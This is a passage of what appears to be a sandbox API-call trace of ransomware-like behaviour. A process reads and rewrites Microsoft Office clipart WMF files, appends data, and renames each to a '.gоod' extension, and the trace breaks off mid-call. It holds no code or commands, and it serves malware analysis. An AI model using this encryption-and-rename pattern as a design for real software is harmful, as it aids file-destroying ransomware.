SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0153.855] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF", lpFilePart=0x0) returned 0x44 [0153.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0153.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0153.855] GetFileType (hFile=0x804) returned 0x1 [0153.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0153.855] GetFileType (hFile=0x804) returned 0x1 [0153.855] SetFilePointer (in: hFile=0x804, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0153.855] ReadFile (in: hFile=0x804, lpBuffer=0x3385bd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3385bd8*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0153.857] CloseHandle (hObject=0x804) returned 1 [0153.857] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF", lpFilePart=0x0) returned 0x44 [0153.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0153.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0153.857] GetFileType (hFile=0x804) returned 0x1 [0153.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0153.857] GetFileType (hFile=0x804) returned 0x1 [0153.857] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x385c [0153.857] WriteFile (in: hFile=0x804, lpBuffer=0x3386e70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3386e70*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0153.858] CloseHandle (hObject=0x804) returned 1 [0153.858] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF", lpFilePart=0x0) returned 0x44 [0153.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0153.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0153.858] GetFileType (hFile=0x804) returned 0x1 [0153.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0153.858] GetFileType (hFile=0x804) returned 0x1 [0153.858] ReadFile (in: hFile=0x804, lpBuffer=0x3389130, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3389130*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0154.337] CloseHandle (hObject=0x804) returned 1 [0154.337] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF", lpFilePart=0x0) returned 0x44 [0154.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0154.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0154.337] GetFileType (hFile=0x804) returned 0x1 [0154.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0154.337] GetFileType (hFile=0x804) returned 0x1 [0154.337] WriteFile (in: hFile=0x804, lpBuffer=0x325e4c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x325e4c8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0154.338] CloseHandle (hObject=0x804) returned 1 [0154.338] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF", lpFilePart=0x0) returned 0x44 [0154.338] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0154.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0154.338] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5834aaad, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x386c)) returned 1 [0154.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0154.338] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.gоod")) returned 1 [0154.339] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF", lpFilePart=0x0) returned 0x44 [0154.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0154.339] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3404380 | out: lpFileInformation=0x3404380*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0)) returned 1 [0154.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0154.339] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF", lpFilePart=0x0) returned 0x44 [0154.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0154.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0154.339] GetFileType (hFile=0x804) returned 0x1 [0154.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0154.339] GetFileType (hFile=0x804) returned 0x1 [0154.339] SetFilePointer (in: hFile=0x804, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0154.339] ReadFile (in: hFile=0x804, lpBuffer=0x3404798, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3404798*, lpNumberOfBytesRead=0x1faedd28*=0xba0, lpOverlapped=0x0) returned 1 [0154.341] CloseHandle (hObject=0x804) returned 1 [0154.341] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF", lpFilePart=0x0) returned 0x44 [0154.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0154.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0154.341] GetFileType (hFile=0x804) returned 0x1 [0154.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0154.341] GetFileType (hFile=0x804) returned 0x1 [0154.341] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1ba0 [0154.341] WriteFile (in: hFile=0x804, lpBuffer=0x3405a90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3405a90*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0154.341] CloseHandle (hObject=0x804) returned 1 [0154.341] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF", lpFilePart=0x0) returned 0x44 [0154.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0154.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0154.341] GetFileType (hFile=0x804) returned 0x1 [0154.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0154.342] GetFileType (hFile=0x804) returned 0x1 [0154.342] ReadFile (in: hFile=0x804, lpBuffer=0x3407d50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3407d50*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0155.280] CloseHandle (hObject=0x804) returned 1 [0155.280] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF", lpFilePart=0x0) returned 0x44 [0155.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0155.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0155.281] GetFileType (hFile=0x804) returned 0x1 [0155.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0155.281] GetFileType (hFile=0x804) returned 0x1 [0155.281] WriteFile (in: hFile=0x804, lpBuffer=0x328c910*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x328c910*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0155.281] CloseHandle (hObject=0x804) returned 1 [0155.281] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF", lpFilePart=0x0) returned 0x44 [0155.281] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0155.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0155.281] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x58c3baec, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1bb0)) returned 1 [0155.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0155.281] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.gоod")) returned 1 [0155.282] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF", lpFilePart=0x0) returned 0x44 [0155.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0155.282] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3313ee0 | out: lpFileInformation=0x3313ee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd10)) returned 1 [0155.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0155.282] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF", lpFilePart=0x0) returned 0x44 [0155.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0155.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0155.282] GetFileType (hFile=0x804) returned 0x1 [0155.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0155.282] GetFileType (hFile=0x804) returned 0x1 [0155.283] GetFileSize (in: hFile=0x804, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xd10 [0155.283] ReadFile (in: hFile=0x804, lpBuffer=0x3314e98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3314e98*, lpNumberOfBytesRead=0x1faedc88*=0xd10, lpOverlapped=0x0) returned 1 [0155.506] CloseHandle (hObject=0x804) returned 1 [0155.559] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF", lpFilePart=0x0) returned 0x44 [0155.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0155.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0155.560] GetFileType (hFile=0x804) returned 0x1 [0155.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0155.560] GetFileType (hFile=0x804) returned 0x1 [0155.561] WriteFile (in: hFile=0x804, lpBuffer=0x341e8d0*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x341e8d0*, lpNumberOfBytesWritten=0x1faedb98*=0xd20, lpOverlapped=0x0) returned 1 [0155.561] CloseHandle (hObject=0x804) returned 1 [0155.561] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF", lpFilePart=0x0) returned 0x44 [0155.562] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0155.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0155.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x58eea1fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd20)) returned 1 [0155.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0155.562] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.gоod")) returned 1 [0155.562] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF", lpFilePart=0x0) returned 0x44 [0155.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0155.563] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x341fb60 | out: lpFileInformation=0x341fb60*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x63c)) returned 1 [0155.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0155.563] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF", lpFilePart=0x0) returned 0x44 [0155.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0155.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0155.563] GetFileType (hFile=0x804) returned 0x1 [0155.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0155.564] GetFileType (hFile=0x804) returned 0x1 [0155.564] GetFileSize (in: hFile=0x804, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x63c [0155.564] ReadFile (in: hFile=0x804, lpBuffer=0x3420448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3420448*, lpNumberOfBytesRead=0x1faedc88*=0x63c, lpOverlapped=0x0) returned 1 [0155.569] CloseHandle (hObject=0x804) returned 1 [0155.745] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF", lpFilePart=0x0) returned 0x44 [0155.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0155.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.746] GetFileType (hFile=0x7dc) returned 0x1 [0155.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0155.747] GetFileType (hFile=0x7dc) returned 0x1 [0155.747] WriteFile (in: hFile=0x7dc, lpBuffer=0x3399748*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3399748*, lpNumberOfBytesWritten=0x1faedb98*=0x640, lpOverlapped=0x0) returned 1 [0155.747] CloseHandle (hObject=0x7dc) returned 1 [0155.748] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF", lpFilePart=0x0) returned 0x44 [0155.748] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0155.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0155.748] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: 